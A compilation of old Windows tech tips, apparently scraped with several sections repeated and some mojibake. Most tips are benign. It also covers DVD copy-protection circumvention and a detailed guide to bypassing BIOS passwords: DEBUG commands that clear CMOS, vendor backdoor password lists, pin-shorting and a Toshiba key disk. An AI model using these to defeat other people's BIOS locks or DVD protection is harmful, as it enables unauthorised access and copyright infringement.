How To Directly Go To Inbox, Write Msg, w Hotmail, no need for hotmail today - http users
FOR HOTMAIL OR MSN EMAIL USERS
sometimes just checking the hotmail website to check your hotmail or msn email is quicker than opening your email client.. and this method is a sure-fire way to make checking your email very quick and easy.. i would suggest making a seperate folder in your bookmark list and add this links into that folder to make checking your multiple folders in hotmail very accessible with one single click.
FIRST go to hotmail.com and log in. make sure you set it to automatically sign you in.. (i guess only for ppl that have a computer all to themselves )
afterwards try going to this link
you might have to update your links every now and then but work fine for the most part..
CODE
http://hotmail.msn.com/cgi-bin/HoTMaiL?
use this for your inbox
CODE
http://hotmail.msn.com/cgi-bin/compose?
use this for 'compose message'
CODE
http://hotmail.msn.com/cgi-bin/options?
options of course
CODE
http://hotmail.msn.com/cgi-bin/addresses?
contact list etc.
if you have customized folders you can link directly to those as well
just click on one of your custom folders and copy the url..
should look something like the following...
/http://hotmail.msn.com/cgi-bin/HoTMaiL?a=abcdefghijklmnop&curmbox=F123456789
delete the 'yellow' portion above to change the url into this...
CODE
http://hotmail.msn.com/cgi-bin/HoTMaiL?&curmbox=F123456789
bookmark this link.
that should make your bookmark permanent with no "RESEND POST DATA" messages..
enjoy
sometimes just checking the hotmail website to check your hotmail or msn email is quicker than opening your email client.. and this method is a sure-fire way to make checking your email very quick and easy.. i would suggest making a seperate folder in your bookmark list and add this links into that folder to make checking your multiple folders in hotmail very accessible with one single click.
FIRST go to hotmail.com and log in. make sure you set it to automatically sign you in.. (i guess only for ppl that have a computer all to themselves )
afterwards try going to this link
you might have to update your links every now and then but work fine for the most part..
CODE
http://hotmail.msn.com/cgi-bin/HoTMaiL?
use this for your inbox
CODE
http://hotmail.msn.com/cgi-bin/compose?
use this for 'compose message'
CODE
http://hotmail.msn.com/cgi-bin/options?
options of course
CODE
http://hotmail.msn.com/cgi-bin/addresses?
contact list etc.
if you have customized folders you can link directly to those as well
just click on one of your custom folders and copy the url..
should look something like the following...
/http://hotmail.msn.com/cgi-bin/HoTMaiL?a=abcdefghijklmnop&curmbox=F123456789
delete the 'yellow' portion above to change the url into this...
CODE
http://hotmail.msn.com/cgi-bin/HoTMaiL?&curmbox=F123456789
bookmark this link.
that should make your bookmark permanent with no "RESEND POST DATA" messages..
enjoy
How To Delete Those Persistent Nasty Files
How To Delete Those Persistent Nasty Files
For those who use some other character map other than standart US ASCII, there sometimes happen some files, who has some nasty characters in its name, which appears in your Windows Explorer but when you try to delete it, it says system cannot find the file. In order to delete -or rename, whichever you like- that nasty file, you can use any ftp client with a visual GUI, like WS-FTP or so. In the ftp client's browser window, go to the folder containing that file and edit/delete it in there.
For those who use some other character map other than standart US ASCII, there sometimes happen some files, who has some nasty characters in its name, which appears in your Windows Explorer but when you try to delete it, it says system cannot find the file. In order to delete -or rename, whichever you like- that nasty file, you can use any ftp client with a visual GUI, like WS-FTP or so. In the ftp client's browser window, go to the folder containing that file and edit/delete it in there.
How To Customise Your start Button
First you need a tool called "Resource Hacker". This free program allows you to change resources in any .exe file such as "Explorer.exe", which includes the [Start] button's Label. You can visit Download.com and search there for "Resource Hacker".
After you download it, follow the guide here:
Step 1:
A - Run "Resource Hacker" and open the file "%windir%\Explorer.exe".
B - You see a Tree of all Resources in this file, expand the "String Table"
C - Find the "start" and replace it with your own text. then press the [Compile Script] button.
D - Save "Explorer.exe" as "MyStart.exe" DONT save it as Explorer.exe, do "save as.." and give it a new name.
E - Quit "Resource Hacker".
Step 2:
A - Click on the [Start] button and choose the "Run..." item from the start menu. (Or use the shortcut key WinKey+R)
B - Type "RegEdit" in the Run "Dialog Box". And then press the [Ok] buton to run the "Registry Editor" program.
C - Go to: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon" and find the "Shell" property.
D - Replace value of the "Shell" property to "MyStart.exe".
E - Quit "Registry Editor".
F - Restart your system.
Note about Registry Editor:
if you did not find the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon", you can search the Registry for the "Explorer.exe", to do this use the Edit Menu | Find Next (Ctrl+F).
AmirBehzad Eslami's site has a handy tool for altering your start button, which makes life much easier, you can find his site here:
h**p://www.startbtn.main-page.com
After you download it, follow the guide here:
Step 1:
A - Run "Resource Hacker" and open the file "%windir%\Explorer.exe".
B - You see a Tree of all Resources in this file, expand the "String Table"
C - Find the "start" and replace it with your own text. then press the [Compile Script] button.
D - Save "Explorer.exe" as "MyStart.exe" DONT save it as Explorer.exe, do "save as.." and give it a new name.
E - Quit "Resource Hacker".
Step 2:
A - Click on the [Start] button and choose the "Run..." item from the start menu. (Or use the shortcut key WinKey+R)
B - Type "RegEdit" in the Run "Dialog Box". And then press the [Ok] buton to run the "Registry Editor" program.
C - Go to: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon" and find the "Shell" property.
D - Replace value of the "Shell" property to "MyStart.exe".
E - Quit "Registry Editor".
F - Restart your system.
Note about Registry Editor:
if you did not find the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon", you can search the Registry for the "Explorer.exe", to do this use the Edit Menu | Find Next (Ctrl+F).
AmirBehzad Eslami's site has a handy tool for altering your start button, which makes life much easier, you can find his site here:
h**p://www.startbtn.main-page.com
How to copy songs from your iPod to your PC
How to copy songs from your iPod to your PC
A reader points out a straightforward way for Windows users to transfer music from an iPod to your hard drive, without extra software:
1. Connect the iPod to your PC. If iTunes starts syncing (ie erasing) your music automatically, hit the X in the upper right hand corner of iTunes display, to the left of the search box, to stop it.
2. In Control Panel, Portable Media Devices, double-click your iPod.
3. Navigate to the Music folder.
4. Select all the music folders, and drag and drop them into a folder on your hard drive, or directly into iTunes.
And you’re done! The iPod music folder structure is strange and inexplicable, but once you move your files into iTunes you can set it to automatically organize your folder by artist and album to clean that up. (To do this, in iTunes Edit menu, choose Preferences and in the Advanced tab, check “Keep iTunes Music Folder organized.”)
If you give this a go, lemme know how it goes. I’ll ammend the instructions with any additional info for other versions of Windows and iPods.
Just for the record, I did not write this article, but I would have known how to do this. But one thing I ahve noticed is that you do not need to go into the control panel. Instead just make explorer.exe show hidden folders. Then, navigate into the iPod directory, go into iPod_control, and follow step four of the article. Software
A reader points out a straightforward way for Windows users to transfer music from an iPod to your hard drive, without extra software:
1. Connect the iPod to your PC. If iTunes starts syncing (ie erasing) your music automatically, hit the X in the upper right hand corner of iTunes display, to the left of the search box, to stop it.
2. In Control Panel, Portable Media Devices, double-click your iPod.
3. Navigate to the Music folder.
4. Select all the music folders, and drag and drop them into a folder on your hard drive, or directly into iTunes.
And you’re done! The iPod music folder structure is strange and inexplicable, but once you move your files into iTunes you can set it to automatically organize your folder by artist and album to clean that up. (To do this, in iTunes Edit menu, choose Preferences and in the Advanced tab, check “Keep iTunes Music Folder organized.”)
If you give this a go, lemme know how it goes. I’ll ammend the instructions with any additional info for other versions of Windows and iPods.
Just for the record, I did not write this article, but I would have known how to do this. But one thing I ahve noticed is that you do not need to go into the control panel. Instead just make explorer.exe show hidden folders. Then, navigate into the iPod directory, go into iPod_control, and follow step four of the article. Software
How To Copy A Dvd Which Will Play On A X Box
How To Copy A Dvd Which Will Play On A X Box
HOW TO COPY A DVD WHICH WILL PLAY ON A X BOX
TOOLS YOU WILL NEED:
DVD decrypter
DAEMON TOOLS
DVD2ONE
NERO 5.5.10 or above.
1. Rip the DVD in ISO mode with DVD decrypter to your hdd.
(mode=ISO-read)
2. Right click DEAMON TOOLS icon on your desktop
virtual cd/dvd rom
Device 0 [k] no media
Mount Image - ISO file
3. Make a main folder ( title MOVIE ) on your desktop.
make 2 subfolders in it VIDEO_TS and AUDIO_TS
4. Open DVD2ONE. choose movie only or entire disc.
source - drive you mounted in step 2 (VIDEO_TS)
Destination - VIDEO_TS folder you created in step 3.
start
5. DEAMON TOOLS - unmount the drive you made in step 2.
you can now delete the ISO file to save disc space
6. open NERO
close wizard
New Compilation DVD
Left Column (DVDROM/UDF/ISO)
No Multisession
UHF check Force DVD compatability (required for x box)
Label ( NAME OF MOVIE ) ALL CAPITAL LETTERS
Click New
drag over the VIDEO_TS FOLDER and AUDIO_TS folder you made
BURN
HOW TO COPY A DVD WHICH WILL PLAY ON A X BOX
TOOLS YOU WILL NEED:
DVD decrypter
DAEMON TOOLS
DVD2ONE
NERO 5.5.10 or above.
1. Rip the DVD in ISO mode with DVD decrypter to your hdd.
(mode=ISO-read)
2. Right click DEAMON TOOLS icon on your desktop
virtual cd/dvd rom
Device 0 [k] no media
Mount Image - ISO file
3. Make a main folder ( title MOVIE ) on your desktop.
make 2 subfolders in it VIDEO_TS and AUDIO_TS
4. Open DVD2ONE. choose movie only or entire disc.
source - drive you mounted in step 2 (VIDEO_TS)
Destination - VIDEO_TS folder you created in step 3.
start
5. DEAMON TOOLS - unmount the drive you made in step 2.
you can now delete the ISO file to save disc space
6. open NERO
close wizard
New Compilation DVD
Left Column (DVDROM/UDF/ISO)
No Multisession
UHF check Force DVD compatability (required for x box)
Label ( NAME OF MOVIE ) ALL CAPITAL LETTERS
Click New
drag over the VIDEO_TS FOLDER and AUDIO_TS folder you made
BURN
How To Convert File System, fat - fat32 to ntfs
How To Convert File System, fat - fat32 to ntfs
open a dos prompt and give the command
convert d: /fs:ntfs
this command would convert your d: drive to ntfs.
if the system cannot lock the drive, you will be prompted to convert it during next reboot.
Normally you should select yes.
Conversion from fat/fat32 to ntfs is non-destructive, your data on the drive will NOT be lost.
Be aware that converting to ntfs will make that partition of your
drive unreadable under dos unless you have ntfs utilites to do so.
open a dos prompt and give the command
convert d: /fs:ntfs
this command would convert your d: drive to ntfs.
if the system cannot lock the drive, you will be prompted to convert it during next reboot.
Normally you should select yes.
Conversion from fat/fat32 to ntfs is non-destructive, your data on the drive will NOT be lost.
Be aware that converting to ntfs will make that partition of your
drive unreadable under dos unless you have ntfs utilites to do so.
How to clear Bios info 2
How to clear Bios info
READ EVEYTHING BEFORE YOU USE ANY METHOD LISTED BELOW
Basic BIOS password crack - works 9.9 times out of ten
This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:
Get DOS prompt and type:
DEBUG hit enter
-o 70 2e hit enter
-o 71 ff hit enter
-q hit enter
exit hit enter
Restart the computer. It works on most versions of the AWARD BIOS.
Accessing information on the hard disk
When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE & EXIT SETUP. Now you have access to the hard disk.
Standard BIOS backdoor passwords
The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:
AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %����� �p������%, %������ �p������%
AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder
Other passwords you may try (for AMI/AWARD or other BIOSes)
LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj
Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.
Flashing BIOS via software
If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory.
However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:
AMI/AWARD BIOS
O 70 17
O 71 17
Q
PHOENIX BIOS
O 70 FF
O 71 17
Q
GENERIC
Invalidates CMOS RAM.
Should work on all AT motherboards
(XT motherboards don't have CMOS)
O 70 2E
O 71 FF
Q
Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.
Flashing BIOS via hardware
If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.
Using the jumpers
The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard.
To find the correct jumper you should read the motherboard's manual.
Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.
If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.
If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.
Removing the battery
If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.
Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.
Short-circuiting the chip
Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.
Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.
CHIPS P82C206 (square)
Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).
gnd
74
|__________________
5v 75--| |
| |
| |
| CHIPS |
1 * | |
| P82C206 |
| |
| |
|___________________|
| |
| gnd | 5v
12 32
OPTi F82C206 (rectangular)
Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).
80 51
|______________|
81 -| |- 50
| |
| |
| OPTi |
| |
| F82C206 |
| |
100-|________________|-31
|| | |
1 || | | 30
3 26
Dallas DS1287, DS1287A
Benchmarq bp3287MT, bq3287AMT
The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.
CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.
The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21 RCL (RAM Clear)
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
NOTE: Although these are 24-pin chips,
the Dallas chips may be missing 5 pins,
these are unused pins.
Most chips have unused pins,
though usually they are still present.
Dallas DS12885S
Benchmarq bq3258S
Hitachi HD146818AP
Samsung KS82C6818A
This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818.
Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.
Short together pins 12 and 24.
5v
24 20 13
|___________|____________________|
| |
| DALLAS |
|> |
| DS12885S |
| |
|__________________________________|
| |
1 12
gnd
Motorola MC146818AP
Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
Replacing the chip
If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.
Important
Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.
Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:WINDOWS, C:WINDOWSSYSTEM, or C:WINDOWSINF .
Key Disk for Toshiba laptops
Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop (***.bpsoft.com/downloads/index.html) to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.
Key protected cases
A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.
READ EVEYTHING BEFORE YOU USE ANY METHOD LISTED BELOW
Basic BIOS password crack - works 9.9 times out of ten
This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:
Get DOS prompt and type:
DEBUG hit enter
-o 70 2e hit enter
-o 71 ff hit enter
-q hit enter
exit hit enter
Restart the computer. It works on most versions of the AWARD BIOS.
Accessing information on the hard disk
When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE & EXIT SETUP. Now you have access to the hard disk.
Standard BIOS backdoor passwords
The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:
AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %����� �p������%, %������ �p������%
AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder
Other passwords you may try (for AMI/AWARD or other BIOSes)
LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj
Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.
Flashing BIOS via software
If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory.
However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:
AMI/AWARD BIOS
O 70 17
O 71 17
Q
PHOENIX BIOS
O 70 FF
O 71 17
Q
GENERIC
Invalidates CMOS RAM.
Should work on all AT motherboards
(XT motherboards don't have CMOS)
O 70 2E
O 71 FF
Q
Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.
Flashing BIOS via hardware
If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.
Using the jumpers
The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard.
To find the correct jumper you should read the motherboard's manual.
Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.
If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.
If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.
Removing the battery
If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.
Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.
Short-circuiting the chip
Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.
Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.
CHIPS P82C206 (square)
Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).
gnd
74
|__________________
5v 75--| |
| |
| |
| CHIPS |
1 * | |
| P82C206 |
| |
| |
|___________________|
| |
| gnd | 5v
12 32
OPTi F82C206 (rectangular)
Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).
80 51
|______________|
81 -| |- 50
| |
| |
| OPTi |
| |
| F82C206 |
| |
100-|________________|-31
|| | |
1 || | | 30
3 26
Dallas DS1287, DS1287A
Benchmarq bp3287MT, bq3287AMT
The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.
CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.
The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21 RCL (RAM Clear)
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
NOTE: Although these are 24-pin chips,
the Dallas chips may be missing 5 pins,
these are unused pins.
Most chips have unused pins,
though usually they are still present.
Dallas DS12885S
Benchmarq bq3258S
Hitachi HD146818AP
Samsung KS82C6818A
This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818.
Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.
Short together pins 12 and 24.
5v
24 20 13
|___________|____________________|
| |
| DALLAS |
|> |
| DS12885S |
| |
|__________________________________|
| |
1 12
gnd
Motorola MC146818AP
Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
Replacing the chip
If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.
Important
Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.
Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:WINDOWS, C:WINDOWSSYSTEM, or C:WINDOWSINF .
Key Disk for Toshiba laptops
Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop (***.bpsoft.com/downloads/index.html) to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.
Key protected cases
A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.
How to clear Bios info
READ EVEYTHING BEFORE YOU USE ANY METHOD LISTED BELOW
Basic BIOS password crack - works 9.9 times out of ten
This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:
Get DOS prompt and type:
DEBUG hit enter
-o 70 2e hit enter
-o 71 ff hit enter
-q hit enter
exit hit enter
Restart the computer. It works on most versions of the AWARD BIOS.
Accessing information on the hard disk
When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE & EXIT SETUP. Now you have access to the hard disk.
Standard BIOS backdoor passwords
The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:
AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %øåñòü ïpîáåëîâ%, %äåâÿòü ïpîáåëîâ%
AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder
Other passwords you may try (for AMI/AWARD or other BIOSes)
LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj
Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.
Flashing BIOS via software
If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory.
